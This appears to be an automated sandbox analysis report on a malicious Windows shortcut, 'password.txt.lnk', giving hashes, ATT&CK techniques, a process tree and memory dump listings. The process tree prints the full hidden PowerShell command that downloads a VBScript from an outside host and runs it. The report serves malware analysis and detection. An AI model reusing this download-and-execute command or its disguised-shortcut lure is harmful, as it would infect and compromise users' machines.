3488fe12c3493039d9eddabf5fb04bf9bb3a54bcd591ab911857b602c85f2e66

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
16/05/2024, 09:47

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General

Target

password.txt.lnk
Size

1KB
MD5

a8d941db4a8f2301c661abff9d0121fa
SHA1

df5ccb18e15bea95a0b9588cf113e4219b15fe22
SHA256

3488fe12c3493039d9eddabf5fb04bf9bb3a54bcd591ab911857b602c85f2e66
SHA512

1f945f0ffea07dae942cc218ea603d9e8a21921513380c71c6a8b81ec88a6d955f4dd8ef6ac966248c0983872ef6e9fd88d866e1387fedb72e77b12c437eed2c

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2776	powershell.exe
2776	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 2764	1988	cmd.exe	29
PID 1988 wrote to memory of 2764	1988	cmd.exe	29
PID 1988 wrote to memory of 2764	1988	cmd.exe	29
PID 2764 wrote to memory of 2776	2764	cmd.exe	30
PID 2764 wrote to memory of 2776	2764	cmd.exe	30
PID 2764 wrote to memory of 2776	2764	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\password.txt.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start /min powershell -windowstyle hidden -command "& {Invoke-WebRequest -Uri http://dvaverif.ru:3001/www/shared.vbs -OutFile C:\Users\Admin\AppData\Local\Temp\shared.vbs; Start-Process 'C:\Users\Admin\AppData\Local\Temp\shared.vbs'}"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden -command "& {Invoke-WebRequest -Uri http://dvaverif.ru:3001/www/shared.vbs -OutFile C:\Users\Admin\AppData\Local\Temp\shared.vbs; Start-Process 'C:\Users\Admin\AppData\Local\Temp\shared.vbs'}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2776-40-0x000007FEF5C6E000-0x000007FEF5C6F000-memory.dmp

Filesize
4KB

Download
memory/2776-43-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-42-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2776-41-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2776-44-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-45-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-46-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-47-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-48-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download